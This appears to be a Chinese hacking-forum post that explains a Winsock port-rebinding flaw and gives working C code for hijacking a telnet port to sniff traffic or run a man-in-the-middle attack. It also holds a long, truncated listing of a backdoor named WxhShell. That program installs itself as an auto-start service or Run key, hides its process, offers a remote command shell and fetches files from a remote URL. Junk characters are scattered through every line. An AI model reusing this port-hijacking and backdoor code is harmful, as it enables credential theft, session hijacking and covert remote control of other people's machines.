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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: k:I,$"y4  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); yI1 :L -  
ulxfxfd  
  saddr.sin_family = AF_INET; S=ZZ[E_~S  
Mh*r)B~%[  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); o`QNZN7/}  
x(._?5  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); w+/`l*  
KJRAW]?{  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 & ?xR  
Gsv<Rjj:  
  这意味着什么?意味着可以进行如下的攻击: lhHH|~t0  
-Y@tx fu-  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 9Q=VRH:  
@oE 5JM  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) O`c+y  
RI@\cJ\}  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 T/\RViG3  
y QClq{A  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  /1MmOB  
"aOs#4N  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 RqgN<&g?  
U xBd14-R_  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 kzKej"a;  
Ec!!9dgRQ  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 (oi:lC@h*  
h{gFqkDoTI  
  #include \rF S^#  
  #include \= v.$u"c  
  #include c`soVqT$?  
  #include    >=[uLY[aK  
  DWORD WINAPI ClientThread(LPVOID lpParam);   eJ99W=  
  int main() Up{[baWF  
  { :D*U4< /u  
  WORD wVersionRequested; =..Bh8P71!  
  DWORD ret; aOH|[  
  WSADATA wsaData; 4p,:}h  
  BOOL val; J-hJqR*;K  
  SOCKADDR_IN saddr; Jqj!k*=/  
  SOCKADDR_IN scaddr; H:@hCO[a  
  int err; zbmC? 2$  
  SOCKET s; Z+&V  >  
  SOCKET sc; +P^ ;7"H  
  int caddsize; @khFk.LBD  
  HANDLE mt; x "{aO6M  
  DWORD tid;   SI=$s>1  
  wVersionRequested = MAKEWORD( 2, 2 ); =0pt-FQ  
  err = WSAStartup( wVersionRequested, &wsaData ); wAKHD*M)  
  if ( err != 0 ) { f`n4'dG  
  printf("error!WSAStartup failed!\n"); Z^_qXerjP  
  return -1; iM@$uD$_Q2  
  } q#tUDxf(|  
  saddr.sin_family = AF_INET; )O]6dd  
   '{"Rjv7  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 C`hdj/!A  
eR$@Q  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 3[ xdls  
  saddr.sin_port = htons(23); ECOJ .^  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ~Q&J\'GQH  
  { } :0_%=)N<  
  printf("error!socket failed!\n"); ob\-OMNs@  
  return -1; K6kz{R%`  
  } hx9{?3#  
  val = TRUE; --WQr]U/  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 /K#k_k  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) S"cTi[9  
  { m\56BP-AM  
  printf("error!setsockopt failed!\n"); 5dePpFD5  
  return -1; ~w? 02FU  
  } fzIs^(:fl  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ; ~pgF_  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 r[S(VPo[()  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 G:<f(Gy  
+/ZIs|B4,z  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) i>YS%&O?  
  { F_Y]>,U  
  ret=GetLastError(); fB8, )&  
  printf("error!bind failed!\n"); #7]Jz.S  
  return -1; L,}'ST  
  } g'7E6n"!,  
  listen(s,2); Ix-Mp   
  while(1) J8 qFdNK  
  { XwY,xg&o  
  caddsize = sizeof(scaddr); N&HI)X2&  
  //接受连接请求 >v]^nJl  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); "+(|]q"W  
  if(sc!=INVALID_SOCKET) N d].(_  
  { xDo0bR(  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ev4[4T-( @  
  if(mt==NULL) GC')50T J  
  { q&25,zWD  
  printf("Thread Creat Failed!\n"); X' `n>1z  
  break; Fi/iA%,  
  } }bb,Iib  
  } lq-KM8j  
  CloseHandle(mt); &t= :xVn-M  
  } \ %Mcvb.?  
  closesocket(s); w"j>^#8  
  WSACleanup(); |V a:*3u  
  return 0; ~CNB3r5R  
  }   @G4Z  
  DWORD WINAPI ClientThread(LPVOID lpParam) |Xt.[1  
  { Tn&_ >R  
  SOCKET ss = (SOCKET)lpParam; csy6_q(  
  SOCKET sc; MTu\T  
  unsigned char buf[4096]; 2:38CdkYp  
  SOCKADDR_IN saddr; '(.5!7?Qc  
  long num; h.edb6  
  DWORD val; e9{ii2M  
  DWORD ret; $ VT)  
  //如果是隐藏端口应用的话,可以在此处加一些判断 |'h (S|  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   L/i'6(="  
  saddr.sin_family = AF_INET; t#^Cem<  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 1SExl U  
  saddr.sin_port = htons(23); 7kLu rv  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) #_DpiiS,.Q  
  { Nx 42k|8  
  printf("error!socket failed!\n"); g88k@<Y  
  return -1; EpS/"adI-!  
  } &;DCN  
  val = 100; o(hUC$vW  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) JP>EW&M  
  { &qx/ZT  
  ret = GetLastError(); &W45.2  
  return -1; 1dN/H)]  
  } V'kBF2}   
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) @Tu`0 =8  
  { T8S&9BM7  
  ret = GetLastError(); L1SX2F8  
  return -1; ~O}r<PQ  
  } W`[VLi}fe  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 3~`P8 9  
  { "S;4hO  
  printf("error!socket connect failed!\n"); evyjHcCx  
  closesocket(sc); nt2b}u>*  
  closesocket(ss); Qw0k-t0=4  
  return -1; 2+&;jgBP  
  } %r^tZ;; l  
  while(1) Zz0er|9]Q  
  { C?H~L  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 sPNm.W$_  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 k6#$Nb606  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 uuM1_nD[  
  num = recv(ss,buf,4096,0); E-WpsNJ)X  
  if(num>0) }ILBX4c  
  send(sc,buf,num,0); f&vMv.  
  else if(num==0) :Racu;xf  
  break; ^]o H}lwO  
  num = recv(sc,buf,4096,0); ]!TE  
  if(num>0) ef'kG"1  
  send(ss,buf,num,0); ep8UWxB5  
  else if(num==0) Q&I #  
  break; Z66Xj-o  
  } "~VKUvDu  
  closesocket(ss); g[~{iu_$d  
  closesocket(sc); ndFVP;q  
  return 0 ; G&h@  
  } N8nt2r<h  
>a975R*g  
eBa#Z1Z  
========================================================== 3FvVM0l"  
~C{:G;Iy0  
下边附上一个代码,,WXhSHELL 6 |=]i-8  
S/oD`   
========================================================== {>km]CG  
:?UcD_F  
#include "stdafx.h" %oqKpD+  
4Q!%16 P  
#include <stdio.h> %f<>Kwr`2  
#include <string.h> GJWGT`"  
#include <windows.h> '9QEG/v  
#include <winsock2.h> N4 x5!00  
#include <winsvc.h> qUfoEpW2=6  
#include <urlmon.h> 1Xi>&;],  
UIU Pi gd  
#pragma comment (lib, "Ws2_32.lib") </kuJh\  
#pragma comment (lib, "urlmon.lib") -\p&18K#  
or#] ![7N  
#define MAX_USER   100 // 最大客户端连接数 )@9Eq|jMC  
#define BUF_SOCK   200 // sock buffer 1>[#./@  
#define KEY_BUFF   255 // 输入 buffer 8Dl(zYK;  
.<vXj QE  
#define REBOOT     0   // 重启 xq.kH|bH  
#define SHUTDOWN   1   // 关机 [f:&aS+  
UB+~K/  
#define DEF_PORT   5000 // 监听端口 n;Mk\*Cg  
TfJ*G6\7e#  
#define REG_LEN     16   // 注册表键长度 +UWv}|  
#define SVC_LEN     80   // NT服务名长度 8N)Lck2PR  
R<f F ^^  
// 从dll定义API j|8!gW  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); !e<5JO;c  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ..Dm@m}  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ^X6e\]yj  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); %AJ9fs4/  
T-yEn&r4)  
// wxhshell配置信息 ie[X7$@  
struct WSCFG { <V)z{uK  
  int ws_port;         // 监听端口 2ZV; GS#  
  char ws_passstr[REG_LEN]; // 口令 s#<fj#S  
  int ws_autoins;       // 安装标记, 1=yes 0=no UUDbOxD^w  
  char ws_regname[REG_LEN]; // 注册表键名 D?%[du:V  
  char ws_svcname[REG_LEN]; // 服务名 M._E$y,5  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Q7e4MKy7  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 <B T18u\  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 |%5pzYe  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 59$PWfi-\  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" S0OL;[*.  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 a~@f,bw  
&x B^  
}; |Isn<|_  
cQxUEY('+  
// default Wxhshell configuration (;=|2N>7  
struct WSCFG wscfg={DEF_PORT, ,<!*@xy7v  
    "xuhuanlingzhe", u(yN81  
    1, Lj|wFV  
    "Wxhshell", 0827z  
    "Wxhshell", T~$Eh6 D  
            "WxhShell Service", &ZMQ]'&  
    "Wrsky Windows CmdShell Service", ~tTn7[!  
    "Please Input Your Password: ", WI| -pzg  
  1, 3n)Kzexh  
  "http://www.wrsky.com/wxhshell.exe", j;48Yya'  
  "Wxhshell.exe" ._>03,"  
    }; 9i 9 ,X^=  
byE0Z vDM  
// 消息定义模块 pam9wfP  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; "0nsYE  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 2o9B >f&g  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Z'9|  
char *msg_ws_ext="\n\rExit."; R+ \%  
char *msg_ws_end="\n\rQuit."; {[:C_Up)f  
char *msg_ws_boot="\n\rReboot..."; 6wu`;>  
char *msg_ws_poff="\n\rShutdown..."; (Nz`w  
char *msg_ws_down="\n\rSave to "; 1yz%ud-l  
f*"T]AX0  
char *msg_ws_err="\n\rErr!"; M`q|GY  
char *msg_ws_ok="\n\rOK!"; t}I@Rmso  
>WZbb d-  
char ExeFile[MAX_PATH]; {5  pK8  
int nUser = 0; @",#'eC"  
HANDLE handles[MAX_USER]; fQ1j@{Xa  
int OsIsNt; n6,YA2yZO  
vy5Fw&?"  
SERVICE_STATUS       serviceStatus; !^y;|9?O  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; -3? <Ja  
(x/:j*`K  
// 函数声明 _kRc"MaB  
int Install(void); p{_*<"cfYn  
int Uninstall(void); |S).,B  
int DownloadFile(char *sURL, SOCKET wsh); XZ8rM4 ]  
int Boot(int flag); 6 %aaK|0  
void HideProc(void); B*}]'  
int GetOsVer(void); `WCL-OoZc5  
int Wxhshell(SOCKET wsl); l=T;hk  
void TalkWithClient(void *cs); 6W1+@ q  
int CmdShell(SOCKET sock); aY,Bt  
int StartFromService(void); jyF*JQjK4  
int StartWxhshell(LPSTR lpCmdLine); B_[I/ ?  
<)LR  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); gfN=0Xj4  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); \kUQe-:he  
urkuG4cY  
// 数据结构和表定义 )lt1I\n*k  
SERVICE_TABLE_ENTRY DispatchTable[] = Opf)TAl{  
{ ~a3u['B  
{wscfg.ws_svcname, NTServiceMain}, ~vpF|4Zn5  
{NULL, NULL} /d6Rd l`w  
}; *XWu)>*o  
<X{w^ cT_Q  
// 自我安装 T ?[;ej:  
int Install(void) vOCaru?~h  
{ S]%,g%6i  
  char svExeFile[MAX_PATH]; Bca$%3M  
  HKEY key; @}R y7H0O  
  strcpy(svExeFile,ExeFile);  ? .SiT5  
]D5Maid+  
// 如果是win9x系统,修改注册表设为自启动 bWb/>hI8 Q  
if(!OsIsNt) { yc9!JJMkH  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { nG5\vj,zB  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 3t.!5 L  
  RegCloseKey(key); "8ZV%%elp  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { [~|k;\2 +  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); >oyf i:  
  RegCloseKey(key); ZRc^}5}WA  
  return 0; rxol7"2l  
    } ??B!UXi4R  
  } UMNNAX  
} |Fze9kZO  
else { H!}L(gjEG  
z}-R^"40  
// 如果是NT以上系统,安装为系统服务 D}}?{pe  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); z]%@r 7  
if (schSCManager!=0) Jia@HrLR  
{ {Y-'i;j?  
  SC_HANDLE schService = CreateService `Nvhp]E  
  ( BcpbS%S  
  schSCManager, GwDOxH'  
  wscfg.ws_svcname, Yz[Rl ^  
  wscfg.ws_svcdisp, wTR?8$  
  SERVICE_ALL_ACCESS, LzLJ6A>;R  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , [];wP '*  
  SERVICE_AUTO_START, IMdp"  
  SERVICE_ERROR_NORMAL, _(gkYJ+MK  
  svExeFile, OOIp)=4  
  NULL, ,Js_d  
  NULL, .WN&]yr,  
  NULL, (JdheCq!x  
  NULL, y_W?7 S  
  NULL @VOegf+N  
  ); NRG~ya >  
  if (schService!=0) ?xMTO  
  { 6ZI7V!k  
  CloseServiceHandle(schService); gU&+^e >  
  CloseServiceHandle(schSCManager); 2<n 18-|OQ  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); "8z Me L  
  strcat(svExeFile,wscfg.ws_svcname); Si~wig2  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ljrJC  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 6=JJ!`"<2  
  RegCloseKey(key); rmvrv.$3  
  return 0; ' ZTRl+  
    } +ru`Zw5,  
  } ":/Vp,g  
  CloseServiceHandle(schSCManager); `g(#~0R  
} ;}S_PnwC@  
} k 75 p  
6 mLC{X[  
return 1; {P?DkUO}  
} O{byMV{Ou  
1#"wfiW  
// 自我卸载 B[8 RBTsA  
int Uninstall(void) 7yg {0a  
{ [D+PDR  
  HKEY key; GFbn>dY  
G] tT=X[  
if(!OsIsNt) { <x;g9Z>(  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { jM6$R1HX  
  RegDeleteValue(key,wscfg.ws_regname); F+R1}5-3cl  
  RegCloseKey(key); B&59c*K  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Z \ @9*  
  RegDeleteValue(key,wscfg.ws_regname); zSsBbu:  
  RegCloseKey(key); LR#.xFQ+  
  return 0; ? B|i  
  } im:[ViR {  
} 9%ct   
} s2N'Ip  
else { q2*)e/}H  
@pv:uON\  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Qz{Vl> "  
if (schSCManager!=0) BSSehe*  
{ .uX(-8n ~  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ~v/` `s  
  if (schService!=0) Z(4/;v <CT  
  { j&A9 &+w  
  if(DeleteService(schService)!=0) { Fv/{)H<:y  
  CloseServiceHandle(schService); MxGQM>  
  CloseServiceHandle(schSCManager); a>8] +@  
  return 0; d^IX(y*$  
  } G&wYV[Ln  
  CloseServiceHandle(schService); E)I&? <g  
  } d9e~><bPJ  
  CloseServiceHandle(schSCManager); j/T@-7^0  
} T=V{3v@zs  
} $[cB6  
:|I"Em3R  
return 1; y}U'8*,  
} Gk58VODo  
VOATza`  
// 从指定url下载文件 ]NWcd~"b!Z  
int DownloadFile(char *sURL, SOCKET wsh) KU+u.J  
{ l&] %APL  
  HRESULT hr; MB>4Y]rtU  
char seps[]= "/"; Z *l&<q>#  
char *token; ~]W @+\l  
char *file; 066\zAPdH  
char myURL[MAX_PATH]; d@Bd*iI<  
char myFILE[MAX_PATH]; \Z%_dT}  
}Sh@.3*  
strcpy(myURL,sURL); }\N ~%?6D  
  token=strtok(myURL,seps); {}" <  
  while(token!=NULL) d--6<_q  
  { u, 72Mm>  
    file=token; r`)'Kd  
  token=strtok(NULL,seps); c(3idO*R)  
  } E){ODyk  
(]fbCH:  
GetCurrentDirectory(MAX_PATH,myFILE); 8rU| Oh  
strcat(myFILE, "\\"); 2Z^p)  
strcat(myFILE, file); vPy."/[u  
  send(wsh,myFILE,strlen(myFILE),0); tg/!=g  
send(wsh,"...",3,0); Y3)*MqZlF  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); m9 D*I1  
  if(hr==S_OK)  mSFA i  
return 0; 5wvh @Sc\  
else 9Z 6  
return 1; (8W ?ym  
pF~aR]Q  
} }.=wQ_  
R >[G6LOG  
// 系统电源模块 OCqknA  
int Boot(int flag) +y-3tcI)  
{ /b4>0DXT5  
  HANDLE hToken; -"N vu  
  TOKEN_PRIVILEGES tkp; {t'SA]|g  
\4OU+$m  
  if(OsIsNt) { h2+"e# _  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); H}usL)0&&  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ,MLAW  
    tkp.PrivilegeCount = 1; 6TQ[2%X'  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; vsq |m 5  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); [NGq$5  
if(flag==REBOOT) { 4*q6#=G  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) VjiwW%UOM  
  return 0; d.U"lP/)D  
} iN L>TVUM  
else {  ? EhIK  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ="g9>  
  return 0; KC<K*UHPAH  
} 2XjH1  
  } 8)f/H&)>8  
  else { R&/"?&pfa  
if(flag==REBOOT) { =| r% lx  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) q{q;X{  
  return 0; h)r=+Q\'(S  
} 1:I _ ;O_  
else { b^P\Kky  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) | gGD3H  
  return 0; Q'^$;X~-<  
} $D*Yhv!/  
} [XA:pj;rg'  
vcOw`oS  
return 1; r8_MIGM'  
} l>7?B2^<E  
P$/Y9o  
// win9x进程隐藏模块 \&v)#w  
void HideProc(void) "t>H B6^  
{ +5Y;JL<%/  
>+[{m<Eq  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ge{%B~x  
  if ( hKernel != NULL ) $cO-+Mr-~  
  { Gx%f&H~Z^  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ch/DBu  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 'L%)B-,n  
    FreeLibrary(hKernel); c#fSt}J>C  
  } Ee$F]NA  
Sjmq\A88dc  
return; ,YrPwdaTB  
} Ige*tOv2  
RE;)#t?K  
// 获取操作系统版本 G|UeR=/  
int GetOsVer(void) m]VOw)mBF  
{ 3e;ux6  
  OSVERSIONINFO winfo; *W4~.peoE  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); V67<Ky>  
  GetVersionEx(&winfo); pvM`j86 _  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) +'9xTd  
  return 1; xI5zP? _v  
  else V:8{MO(C\  
  return 0; C^ ~[b o  
} `6*1mE1K&  
wqt/0,\  
// 客户端句柄模块 1(a+|  
int Wxhshell(SOCKET wsl) O]9PYv=^  
{ %/K;!'7  
  SOCKET wsh; Mbxrj~ue  
  struct sockaddr_in client; }pT>dbZ  
  DWORD myID; @.v{hkM`  
Q2t>E(S  
  while(nUser<MAX_USER) s#(<zBZ9p#  
{ 69``j{Z+  
  int nSize=sizeof(client); Gwfi  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 'R n\CMTH  
  if(wsh==INVALID_SOCKET) return 1; & c 81q2  
6[]O3Aa  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); \.`{nq  
if(handles[nUser]==0) O6\t_.  
  closesocket(wsh); 1F[W~@jW  
else ZX40-6#O  
  nUser++; S\A9r!2  
  } 212  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); YM +4:P2  
D^H4]7wG@  
  return 0; SrvC34<7  
} ia%U;M  
'# J/e0o@  
// 关闭 socket yxy~N\ 0  
void CloseIt(SOCKET wsh) .$r7q[  
{ {&)E$ M  
closesocket(wsh); #D8u#8Dz  
nUser--; 'n "n;  
ExitThread(0); @?[}\9dW  
} |\h<!xR  
}H9V$~}@-  
// 客户端请求句柄 $7&t`E)qY  
void TalkWithClient(void *cs) WeS$$:ro  
{ P<R'S  
PWN$x`h g[  
  SOCKET wsh=(SOCKET)cs; 7V;wCm#b  
  char pwd[SVC_LEN]; )9V8&,  
  char cmd[KEY_BUFF]; 9*xv ,Yz8  
char chr[1]; @t,Y< )U  
int i,j; ?~rz'Pu~  
Ccy0!re  
  while (nUser < MAX_USER) { pm'i4!mY<P  
U$6(@&P!  
if(wscfg.ws_passstr) { >Te h ?P  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); [kPF Jf  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); kBJx`tjtp  
  //ZeroMemory(pwd,KEY_BUFF); |&0Cuwt  
      i=0; #9@UzfZAwT  
  while(i<SVC_LEN) { -f%J_`  
.Gnzu"lod  
  // 设置超时 )ZDqj  
  fd_set FdRead; 1H7 bPl|  
  struct timeval TimeOut; JcI~8;Z@Z~  
  FD_ZERO(&FdRead); Zl=IZ?F   
  FD_SET(wsh,&FdRead); 'FmnlC1  
  TimeOut.tv_sec=8; 6kHb*L Je  
  TimeOut.tv_usec=0; #s|/5[i  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); >I *uo.OF  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Gbc2\A\  
0D^c4[Y'l  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 2g_2$)2  
  pwd=chr[0]; `EzC'e  
  if(chr[0]==0xd || chr[0]==0xa) { {~~'  
  pwd=0; iea7*]vW  
  break; (&-!l2  
  } ]s^Pw>/`  
  i++; t,R4q*  
    } Q`[J3-Q*{  
CJ[^Fi?CH  
  // 如果是非法用户,关闭 socket >`Zw0S  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ($^=f}+  
} $}Ky6sBnvO  
vS+E`[  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); tJZ3P@ L  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); g7<u eF  
#(Ezt% ^  
while(1) { {&s.*5  
?M@ff0  
  ZeroMemory(cmd,KEY_BUFF); DeR C_ [  
-!pg1w06  
      // 自动支持客户端 telnet标准   3`DwKv `+  
  j=0; x_BnWFP  
  while(j<KEY_BUFF) { J+0T8 ?A  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); $ 2PpG|q  
  cmd[j]=chr[0]; !6DH6<HC  
  if(chr[0]==0xa || chr[0]==0xd) { !ZTBiC5R  
  cmd[j]=0; 3q:>NB<  
  break; C(lGW,!  
  } gqQ"'SRw  
  j++; QAKA3{-(  
    } Xmaj7*f>p  
\tZZn~ex  
  // 下载文件 E|hW{oX3  
  if(strstr(cmd,"http://")) { " )/febBS  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Y8%*S%yO  
  if(DownloadFile(cmd,wsh)) vHxLn/  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); bf-V Q7  
  else i[a1ij=  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ,lr\XhO  
  } EZg$mp1  
  else { b0!ZA/YC-  
Jx4"~ 4  
    switch(cmd[0]) { %t J@)  
  k<!xOg  
  // 帮助 n>:|K0u"  
  case '?': { dSw%Qv*y  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); >.f'_2#Z&  
    break; Z2hIoCT  
  } S|v")6  
  // 安装 (b>B6W\&  
  case 'i': { x#,nR]C  
    if(Install()) VLs%;|`5D  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0);  /DN!"  
    else 2C_/T8  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); *Z C$DW!-  
    break; Hlye:.$  
    } `u7"s'  
  // 卸载 iP^o]4[c  
  case 'r': { "Zq)y_1  
    if(Uninstall()) c 6Z\ecH9  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); m(?ZNtBQt  
    else {|ChwM\x  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); OVgx2_F  
    break; _vgFcE~E@  
    } RYem(%jq  
  // 显示 wxhshell 所在路径 Z/w "zCd  
  case 'p': { x;p7n 2_  
    char svExeFile[MAX_PATH]; -P7JaH/Q  
    strcpy(svExeFile,"\n\r"); 25CO_  
      strcat(svExeFile,ExeFile); |$aTJ9 Iq:  
        send(wsh,svExeFile,strlen(svExeFile),0); >,s.!vpK  
    break; ;^Hg\a  
    } &$+nuUA  
  // 重启 dE0 p>4F  
  case 'b': { ^t#W?rxp&  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); !%s&GD8&l  
    if(Boot(REBOOT)) {Wp5Ane  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $MB /j6#j  
    else { /agX! E4s  
    closesocket(wsh); wEJ) h1=)^  
    ExitThread(0); s`Z'5J;S  
    } v<c@bDZ>  
    break; d0MF\yxh  
    } kz+OUA@~  
  // 关机 ;&v~tD7  
  case 'd': { )`B n"=  
